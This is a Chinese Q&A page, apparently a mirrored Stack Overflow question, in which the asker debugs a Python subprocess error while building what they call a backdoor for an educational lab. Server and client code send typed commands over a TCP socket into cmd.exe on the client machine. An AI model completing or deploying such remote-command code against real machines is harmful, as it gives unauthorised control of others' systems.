python stdin.write_python - python子进程stdin.write字符串错误22无效参数 - 堆栈内存溢出...

我有两个与套接字通信的python文件。 当我将数据传递给stdin.write时,出现错误22无效参数。 编码

a="C:\python27\Tools"

proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

data = s.recv(1024) # s is the socket i created

proc.stdin.write(data) ##### ERROR in this line

output = proc.stdout.readline()

print output.rstrip()

remainder = proc.communicate()[0]

print remainder

更新 OK基本上,我想在网络实验室内的localhost中的系统上创建类似后门的东西。 这是出于教育目的。 我有两台机器。 1)正在运行ubuntu, 我在服务器中输入以下代码:

import socket,sys

s=socket.socket()

host = "192.168.2.7" #the servers ip

port = 1234

s.bind((host, port))

s.listen(1) #wait for client connection.

c, addr = s.accept() # Establish connection with client.

print 'Got connection from', addr

c.send('Thank you for connecting')

while True:

command_from_user = raw_input("Give your command: ") #read command from the user

if command_from_user == 'quit': break

c.send(command_from_user) #sending the command to client

c.close() # Close the connection

为客户提供以下代码:

import socket

import sys

import subprocess, os

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print 'Socket created'

host = "192.168.2.7" #ip of the server machine

port = 1234

s.connect((host,port)) #open a TCP connection to hostname on the port

print s.recv(1024)

a="C:\python27\Tools"

proc = subprocess.Popen('cmd.exe', cwd=a ,universal_newlines = True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

while True:

data = s.recv(1024)

if (data == "") or (data=="quit"):

break

proc.stdin.write('%s\n' % data)

proc.stdin.flush()

remainder = proc.communicate()[0]

print remainder

stdoutput=proc.stdout.read() + proc.stderr.read()

s.close #closing the socket

并且错误在客户端文件中

追溯(最近一次呼叫最近):proc.stdin.write('%s \\ n'%data)中的文件“ ex1client2.py”,第50行,ValueError:对已关闭文件的I / O操作

基本上我想从服务器到客户端运行串行命令,并在服务器中获取输出。 第一个命令被执行,第二个命令我得到这个错误信息。 导致我找到此解决方案的主要问题是更改目录命令。 当我执行CD“路径”时,它不会改变。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值